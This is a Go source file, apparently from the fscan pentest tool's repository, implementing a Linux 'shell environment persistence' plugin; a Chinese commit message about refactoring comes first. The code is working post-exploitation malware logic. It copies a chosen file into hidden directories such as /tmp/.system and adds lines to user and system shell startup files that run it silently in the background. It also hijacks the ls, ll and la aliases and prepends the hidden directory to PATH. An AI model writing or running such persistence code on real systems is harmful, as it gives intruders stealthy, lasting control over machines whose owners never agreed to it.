fscan/plugins/local/shellenv.go
ZacharyZcR 8f54702c02 refactor: 精准修复插件系统三个设计问题
经Linus式架构审计,发现并修复插件系统中的具体问题:

## 核心修复

### 1. 消除local插件GetPorts()方法冗余
- 删除21个local插件中无意义的GetPorts()方法
- 简化local.Plugin接口:移除端口概念
- 理由:本地插件不涉及网络,端口概念完全多余

### 2. 消除web插件GetPorts()方法冗余
- 删除2个web插件中无用的GetPorts()方法
- 简化web.WebPlugin接口:专注智能HTTP检测
- 理由:Web插件使用动态HTTP检测,预定义端口无价值

### 3. 统一插件命名规范
- 统一所有插件接口使用Name()方法(符合Go惯例)
- 消除GetName()与Name()不一致问题
- 简化适配器:不再需要方法名转换

## 技术改进

接口精简:
- local插件:GetName() + GetPorts() → Name()
- web插件:GetName() + GetPorts() → Name()
- services插件:GetName() → Name()(保留GetPorts(),业务必需)

代码减少:
- 删除23个无用GetPorts()方法
- 重命名52个Name()方法
- 简化3个插件接口定义

## 影响范围

修改文件:55个插件文件
代码变更:-155行 +61行(净减少94行)
功能影响:零破坏性,保持所有业务逻辑不变

这是基于业务需求分析的精准重构,消除真正多余的部分,
保持系统架构合理性和向后兼容性。
2025-08-26 20:38:39 +08:00

358 lines
9.1 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package local
import (
"context"
"fmt"
"os"
"os/user"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
)
// ShellEnvPlugin Shell环境变量持久化插件 - Linus式简化版本
//
// 设计哲学:直接实现,删除过度设计
// - 删除复杂的继承体系
// - 直接实现持久化功能
// - 保持原有功能逻辑
type ShellEnvPlugin struct {
name string
targetFile string
}
// NewShellEnvPlugin 创建Shell环境变量持久化插件
func NewShellEnvPlugin() *ShellEnvPlugin {
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = ""
}
return &ShellEnvPlugin{
name: "shellenv",
targetFile: targetFile,
}
}
// GetName 实现Plugin接口
func (p *ShellEnvPlugin) Name() string {
return p.name
}
// Scan 执行Shell环境变量持久化 - 直接实现
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("Shell环境变量持久化只支持Linux平台\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
}
}
if p.targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile))
return &ScanResult{
Success: false,
Output: output.String(),
Error: err,
}
}
output.WriteString("=== Shell环境变量持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
var results []string
var successCount int
// 1. 复制文件到隐藏目录
hiddenPath, err := p.copyToHiddenPath()
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath))
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath))
successCount++
}
// 2. 添加到用户shell配置文件
userConfigs, err := p.addToUserConfigs(hiddenPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", ")))
output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", ")))
successCount++
}
// 3. 添加到全局shell配置文件
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", ")))
output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", ")))
successCount++
}
// 4. 创建启动别名
aliasConfigs, err := p.addAliases(hiddenPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", ")))
output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", ")))
successCount++
}
// 5. 添加PATH环境变量
err = p.addToPath(filepath.Dir(hiddenPath))
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err))
} else {
results = append(results, "已添加到PATH环境变量")
output.WriteString("✓ 已添加到PATH环境变量\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
if successCount > 0 {
common.LogSuccess(fmt.Sprintf("Shell环境变量持久化完成: %d个方法成功", successCount))
}
return &ScanResult{
Success: successCount > 0,
Output: output.String(),
Error: nil,
}
}
// copyToHiddenPath 复制文件到隐藏目录
func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) {
// 获取用户主目录
usr, err := user.Current()
if err != nil {
return "", err
}
// 创建隐藏目录
hiddenDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".config"),
"/tmp/.system",
"/var/tmp/.cache",
}
var targetDir string
for _, dir := range hiddenDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建目标目录")
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err = p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addToUserConfigs 添加到用户shell配置文件
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
configFiles := []string{
filepath.Join(usr.HomeDir, ".bashrc"),
filepath.Join(usr.HomeDir, ".profile"),
filepath.Join(usr.HomeDir, ".bash_profile"),
filepath.Join(usr.HomeDir, ".zshrc"),
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何用户配置文件")
}
return modified, nil
}
// addToGlobalConfigs 添加到全局shell配置文件
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
"/etc/profile.d/custom.sh",
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
// 对于profile.d需要先创建目录
if strings.Contains(configFile, "profile.d") {
os.MkdirAll(filepath.Dir(configFile), 0755)
}
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何全局配置文件")
}
return modified, nil
}
// addAliases 添加命令别名
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
aliasFiles := []string{
filepath.Join(usr.HomeDir, ".bash_aliases"),
filepath.Join(usr.HomeDir, ".aliases"),
}
// 生成常用命令别名
aliases := []string{
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
}
var modified []string
for _, aliasFile := range aliasFiles {
content := strings.Join(aliases, "\n") + "\n"
if p.addToConfigFile(aliasFile, content) {
modified = append(modified, aliasFile)
}
}
return modified, nil
}
// addToPath 添加到PATH环境变量
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
usr, err := user.Current()
if err != nil {
return err
}
configFile := filepath.Join(usr.HomeDir, ".bashrc")
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
if p.addToConfigFile(configFile, pathLine) {
return nil
}
return fmt.Errorf("无法添加PATH环境变量")
}
// addToConfigFile 添加内容到配置文件
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
// 读取现有内容
existingContent := ""
if data, err := os.ReadFile(configFile); err == nil {
existingContent = string(data)
}
// 检查是否已存在
if strings.Contains(existingContent, content) {
return true // 已存在,视为成功
}
// 添加新内容
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
existingContent += "\n"
}
existingContent += content + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
}
// generateExecLine 生成执行命令行
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
if p.isScriptFile() {
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
} else {
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
}
}
// isScriptFile 检查是否为脚本文件
func (p *ShellEnvPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// 注册插件
func init() {
RegisterLocalPlugin("shellenv", func() Plugin {
return NewShellEnvPlugin()
})
}